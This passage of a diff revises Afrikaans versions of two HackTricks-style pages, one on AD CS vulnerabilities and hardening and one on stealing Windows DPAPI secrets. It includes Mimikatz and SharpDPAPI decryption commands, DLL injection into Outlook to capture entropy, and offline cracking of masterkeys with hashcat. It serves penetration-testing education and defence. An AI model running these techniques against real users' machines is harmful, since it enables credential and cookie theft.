| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Privilegie-eskalasie* deur die vervalsing van masjienrekeningsertifikate tydens PKINIT. | Patches is ingesluit in die **10 Mei 2022** sekuriteitsopdaterings. Ouditering & sterk-mapping kontroles is bekendgestel via **KB5014754**; omgewings behoort nou in *Volle Handhaving* modus te wees. citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Afstandkode-uitvoering* in die AD CS Web Registrasie (certsrv) en CES rolle. | Publieke PoCs is beperk, maar die kwesbare IIS-komponente is dikwels intern blootgestel. Patch vanaf **Julie 2023** Patch Dinsdag. citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Laag-geprivilegieerde gebruikers met registrasiederegte kon **enige** EKU of SAN oorskry tydens CSR-generasie, wat sertifikate uitreik wat gebruik kan word vir kliënt-authentisering of kode-handtekening en lei tot *domein-kompromie*. | Aangespreek in **April 2024** opdaterings. Verwyder “Verskaf in die versoek” uit sjablone en beperk registrasietoestemmings. citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Privilegie-eskalasie* deur die vervalsing van masjienrekeningsertifikate tydens PKINIT. | Die regstelling is ingesluit in die **10 Mei 2022** sekuriteitsopdaterings. Ouditering & sterk-mapping kontroles is bekendgestel via **KB5014754**; omgewings behoort nou in *Volle Handhaving* modus te wees. |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Afstandkode-uitvoering* in die AD CS Web Registrasie (certsrv) en CES rolle. | Publieke PoCs is beperk, maar die kwesbare IIS-komponente is dikwels intern blootgestel. Regstelling vanaf **Julie 2023** Patch Dinsdag. |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Laag-geprivilegieerde gebruikers met registrasiederegte kon **enige** EKU of SAN oorskry tydens CSR-generasie, wat sertifikate uitreik wat gebruik kan word vir kliënt-authentisering of kode-handtekening en lei tot *domein-kompromie*. | Aangespreek in **April 2024** opdaterings. Verwyder “Verskaf in die versoek” uit sjablone en beperk registrasietoestemmings. |
|
||||
|
||||
### Microsoft verhogings tydlyn (KB5014754)
|
||||
### Microsoft verhoging tydlyn (KB5014754)
|
||||
|
||||
Microsoft het 'n drie-fase uitrol (Compatibiliteit → Oudit → Handhaving) bekendgestel om Kerberos sertifikaat-authentisering weg te beweeg van swak implisiete mappings. Vanaf **11 Februarie 2025**, skakel domeinbeheerders outomaties oor na **Volle Handhaving** as die `StrongCertificateBindingEnforcement` registerwaarde nie gestel is nie. Administrateurs behoort:
|
||||
|
||||
1. Alle DC's & AD CS bedieners te patch (Mei 2022 of later).
|
||||
1. Alle DC's & AD CS bedieners op te dateer (Mei 2022 of later).
|
||||
2. Gebeurtenis ID 39/41 te monitor vir swak mappings tydens die *Oudit* fase.
|
||||
3. Kliënt-auth sertifikate met die nuwe **SID uitbreiding** te heruitreik of sterk handmatige mappings te konfigureer voor Februarie 2025. citeturn2search0
|
||||
3. Kliënt-auth sertifikate met die nuwe **SID uitbreiding** te heruitreik of sterk handmatige mappings te konfigureer voor Februarie 2025.
|
||||
|
||||
---
|
||||
|
||||
## Opsporing & Verhoging Verbeterings
|
||||
|
||||
* **Defender for Identity AD CS sensor (2023-2024)** toon nou posisie-evaluasies vir ESC1-ESC8/ESC11 en genereer regte tyd waarskuwings soos *“Domein-beheerder sertifikaat uitreiking vir 'n nie-DC”* (ESC8) en *“Voorkom Sertifikaat Registrasie met arbitrêre Aansoek Beleide”* (ESC15). Verseker dat sensors op alle AD CS bedieners ontplooi is om voordeel te trek uit hierdie opsporings. citeturn5search0
|
||||
* **Defender for Identity AD CS sensor (2023-2024)** bied nou posisie-evaluasies vir ESC1-ESC8/ESC11 en genereer regte tyd waarskuwings soos *“Domein-beheerder sertifikaat uitreiking vir 'n nie-DC”* (ESC8) en *“Voorkom Sertifikaat Registrasie met arbitrêre Toepassing Beleide”* (ESC15). Verseker dat sensors op alle AD CS bedieners ontplooi is om voordeel te trek uit hierdie opsporings.
|
||||
* Deaktiveer of beperk die **“Verskaf in die versoek”** opsie op alle sjablone; verkies eksplisiet gedefinieerde SAN/EKU waardes.
|
||||
* Verwyder **Enige Doel** of **Geen EKU** uit sjablone tensy absoluut nodig (adres ESC2 scenario's).
|
||||
* Vereis **bestuurder goedkeuring** of toegewyde Registrasie Agent werksvloeie vir sensitiewe sjablone (bv., WebServer / CodeSigning).
|
||||
* Vereis **bestuurder goedkeuring** of toegewyde Registrasie Agent werksvloeie vir sensitiewe sjablone (bv. WebServer / CodeSigning).
|
||||
* Beperk webregistrasie (`certsrv`) en CES/NDES eindpunte tot vertroude netwerke of agter kliënt-sertifikaat-authentisering.
|
||||
* Handhaaf RPC registrasie-enkripsie (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) om ESC11 te verminder.
|
||||
|
||||
|
@ -10,7 +10,7 @@ Die Data Protection API (DPAPI) word hoofsaaklik binne die Windows-bedryfstelsel
|
||||
|
||||
Die mees algemene manier om DPAPI te gebruik, is deur die **`CryptProtectData` en `CryptUnprotectData`** funksies, wat toepassings toelaat om data veilig te versleutel en te ontsleutel met die sessie van die proses wat tans aangemeld is. Dit beteken dat die versleutelde data slegs deur dieselfde gebruiker of stelsel wat dit versleutel, ontsleuteld kan word.
|
||||
|
||||
Boonop aanvaar hierdie funksies ook 'n **`entropy` parameter** wat ook tydens versleuteling en ontsleuteling gebruik sal word, daarom, om iets te ontsleutel wat met hierdie parameter versleuteld is, moet jy dieselfde entropiewaarde verskaf wat tydens versleuteling gebruik is.
|
||||
Boonop aanvaar hierdie funksies ook 'n **`entropy` parameter** wat ook tydens versleuteling en ontsleuteling gebruik sal word, daarom, om iets te ontsleutel wat met hierdie parameter versleutel is, moet jy dieselfde entropiewaarde verskaf wat tydens versleuteling gebruik is.
|
||||
|
||||
### Gebruikers sleutelgenerasie
|
||||
|
||||
@ -21,18 +21,18 @@ Dit is veral interessant omdat as 'n aanvaller die gebruiker se wagwoordhash kan
|
||||
- **Enige data ontsleutel wat met DPAPI versleutel is** met daardie gebruiker se sleutel sonder om enige API te kontak
|
||||
- Probeer om die **wagwoord te kraak** aflyn deur te probeer om die geldige DPAPI-sleutel te genereer
|
||||
|
||||
Boonop, elke keer as 'n gebruiker data met DPAPI versleutel, word 'n nuwe **meestersleutel** gegenereer. Hierdie meestersleutel is die een wat werklik gebruik word om data te versleutel. Elke meestersleutel word gegee met 'n **GUID** (Globally Unique Identifier) wat dit identifiseer.
|
||||
Boonop, elke keer as 'n gebruiker data met DPAPI versleutel, word 'n nuwe **meester sleutel** gegenereer. Hierdie meester sleutel is die een wat werklik gebruik word om data te versleutel. Elke meester sleutel word gegee met 'n **GUID** (Globally Unique Identifier) wat dit identifiseer.
|
||||
|
||||
Die meestersleutels word gestoor in die **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gids, waar `{SID}` die Veiligheidsidentifiseerder van daardie gebruiker is. Die meestersleutel word versleuteld gestoor deur die gebruiker se **`pre-key`** en ook deur 'n **domein rugsteun sleutel** vir herstel (so die dieselfde sleutel word 2 keer versleuteld gestoor deur 2 verskillende wagwoorde).
|
||||
Die meester sleutels word gestoor in die **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gids, waar `{SID}` die Veiligheidsidentifiseerder van daardie gebruiker is. Die meester sleutel word versleuteld gestoor deur die gebruiker se **`pre-key`** en ook deur 'n **domein rugsteun sleutel** vir herstel (so die dieselfde sleutel word 2 keer versleuteld gestoor deur 2 verskillende wagwoorde).
|
||||
|
||||
Let daarop dat die **domeinsleutel wat gebruik word om die meestersleutel te versleutel in die domeinbeheerders is en nooit verander nie**, so as 'n aanvaller toegang tot die domeinbeheerder het, kan hulle die domeinrugsteun sleutel verkry en die meestersleutels van alle gebruikers in die domein ontsleutel.
|
||||
Let daarop dat die **domeinsleutel wat gebruik word om die meester sleutel te versleutel in die domeinbeheerders is en nooit verander nie**, so as 'n aanvaller toegang tot die domeinbeheerder het, kan hulle die domein rugsteun sleutel terugkry en die meester sleutels van alle gebruikers in die domein ontsleutel.
|
||||
|
||||
Die versleutelde blobs bevat die **GUID van die meestersleutel** wat gebruik is om die data binne sy koppe te versleutel.
|
||||
Die versleutelde blobs bevat die **GUID van die meester sleutel** wat gebruik is om die data binne sy koppe te versleutel.
|
||||
|
||||
> [!TIP]
|
||||
> DPAPI versleutelde blobs begin met **`01 00 00 00`**
|
||||
|
||||
Vind meestersleutels:
|
||||
Vind meester sleutels:
|
||||
```bash
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
||||
@ -194,7 +194,7 @@ Die **SharpDPAPI** hulpmiddel ondersteun ook hierdie argumente vir meester sleut
|
||||
/server:SERVER - triage a remote server, assuming admin access
|
||||
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
|
||||
```
|
||||
- **Deur 'n meester sleutel data ontsleutel**:
|
||||
- **Deur data te ontsleutel met 'n meester sleutel**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
@ -234,7 +234,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
|
||||
Sommige toepassings stuur 'n addisionele **entropie** waarde na `CryptProtectData`. Sonder hierdie waarde kan die blob nie gedekriptiseer word nie, selfs al is die korrekte meester sleutel bekend. Om die entropie te verkry is dus noodsaaklik wanneer daar gefokus word op akrediteer wat op hierdie manier beskerm word (bv. Microsoft Outlook, sommige VPN-kliënte).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is 'n gebruikersmodus DLL wat die DPAPI-funksies binne die teikenproses haak en deursigtig enige opsionele entropie wat verskaf word, opneem. Om EntropyCapture in **DLL-inspuiting** modus teen prosesse soos `outlook.exe` of `vpnclient.exe` te laat loop, sal 'n lêer genereer wat elke entropie-buffer aan die oproepende proses en blob koppel. Die gevangenne entropie kan later aan **SharpDPAPI** (`/entropy:`) of **Mimikatz** (`/entropy:<file>`) verskaf word om die data te dekripteer. citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is 'n gebruikersmodus DLL wat die DPAPI-funksies binne die teikenproses haak en deursigtig enige opsionele entropie wat verskaf word, opneem. Om EntropyCapture in **DLL-inspuiting** modus teen prosesse soos `outlook.exe` of `vpnclient.exe` te laat loop, sal 'n lêer genereer wat elke entropie-buffer aan die oproepende proses en blob koppel. Die gevangen entropie kan later aan **SharpDPAPI** (`/entropy:`) of **Mimikatz** (`/entropy:<file>`) verskaf word om die data te dekripteer.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -242,9 +242,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
# Later decrypt a credential blob that required entropy
|
||||
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
### Krake van meester sleutels aflyn (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft het 'n **context 3** masterkey-formaat bekendgestel wat begin met Windows 10 v1607 (2016). `hashcat` v6.2.6 (Desember 2023) het hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) en **22102** (context 3) bygevoeg wat GPU-versnelde kraking van gebruikerswagwoorde direk vanaf die masterkey-lêer moontlik maak. Aanvallers kan dus woordlys- of brute-force-aanvalle uitvoer sonder om met die teikenstelsel te kommunikeer. citeturn8search1
|
||||
Microsoft het 'n **konteks 3** meester sleutel formaat bekendgestel wat begin met Windows 10 v1607 (2016). `hashcat` v6.2.6 (Desember 2023) het hash-modes **22100** (DPAPI meester sleutel v1 konteks), **22101** (konteks 1) en **22102** (konteks 3) bygevoeg wat GPU-versnelde kraking van gebruikerswagwoorde direk vanaf die meester sleutel lêer moontlik maak. Aanvallers kan dus woordlys of brute-force aanvalle uitvoer sonder om met die teikenstelsel te kommunikeer.
|
||||
|
||||
`DPAPISnoop` (2024) outomatiseer die proses:
|
||||
```bash
|
||||
@ -278,12 +278,11 @@ Met die onttrekking van die LDAP-rekenaarslys kan jy elke subnet vind selfs al h
|
||||
* Parallelle versameling van blobs van honderde gasheer
|
||||
* Ontleding van **context 3** meester sleutels en outomatiese Hashcat krak integrasie
|
||||
* Ondersteuning vir Chrome "App-Bound" versleutelde koekies (sien volgende afdeling)
|
||||
* 'n Nuwe **`--snapshot`** modus om herhaaldelik eindpunte te poll en nuut geskepte blobs te vergelyk citeturn1search2
|
||||
* 'n Nuwe **`--snapshot`** modus om herhaaldelik eindpunte te poll en nuut geskepte blobs te vergelyk
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is 'n C# parser vir meester sleutel/credential/vault lêers wat Hashcat/JtR formate kan uitvoer en opsioneel outomatiese krak kan aanroep. Dit ondersteun ten volle masjien en gebruiker meester sleutel formate tot Windows 11 24H1. citeturn2search0
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is 'n C# parser vir meester sleutel/credential/vault lêers wat Hashcat/JtR formate kan uitvoer en opsioneel outomaties krak kan aanroep. Dit ondersteun ten volle masjien en gebruiker meester sleutel formate tot Windows 11 24H1.
|
||||
|
||||
## Algemene opsporings
|
||||
|
||||
@ -296,19 +295,18 @@ Met die onttrekking van die LDAP-rekenaarslys kan jy elke subnet vind selfs al h
|
||||
---
|
||||
### 2023-2025 kwesbaarhede & ekosisteem veranderinge
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (November 2023). 'n Aanvaller met netwerktoegang kon 'n domeinlid mislei om 'n kwaadwillige DPAPI rugsteun sleutel te verkry, wat die ontsleuteling van gebruiker meester sleutels moontlik maak. Gepatch in November 2023 kumulatiewe opdatering – administrateurs moet verseker dat DC's en werkstasies ten volle gepatch is. citeturn4search0
|
||||
* **Chrome 127 “App-Bound” koekie versleuteling** (Julie 2024) het die ou DPAPI-slegs beskerming vervang met 'n bykomende sleutel wat onder die gebruiker se **Credential Manager** gestoor word. Offline ontsleuteling van koekies vereis nou beide die DPAPI meester sleutel en die **GCM-wrapped app-bound key**. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer dit met gebruiker konteks loop. citeturn0search0
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (November 2023). 'n Aanvaller met netwerktoegang kan 'n domeinlid mislei om 'n kwaadwillige DPAPI rugsteun sleutel te verkry, wat die ontsleuteling van gebruiker meester sleutels moontlik maak. Gepatch in November 2023 kumulatiewe opdatering – administrateurs moet verseker dat DC's en werkstasies ten volle gepatch is.
|
||||
* **Chrome 127 “App-Bound” koekie versleuteling** (Julie 2024) het die ou DPAPI-slegs beskerming vervang met 'n bykomende sleutel wat onder die gebruiker se **Credential Manager** gestoor word. Aflyn ontsleuteling van koekies vereis nou beide die DPAPI meester sleutel en die **GCM-wrapped app-bound key**. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer dit met gebruiker konteks loop.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user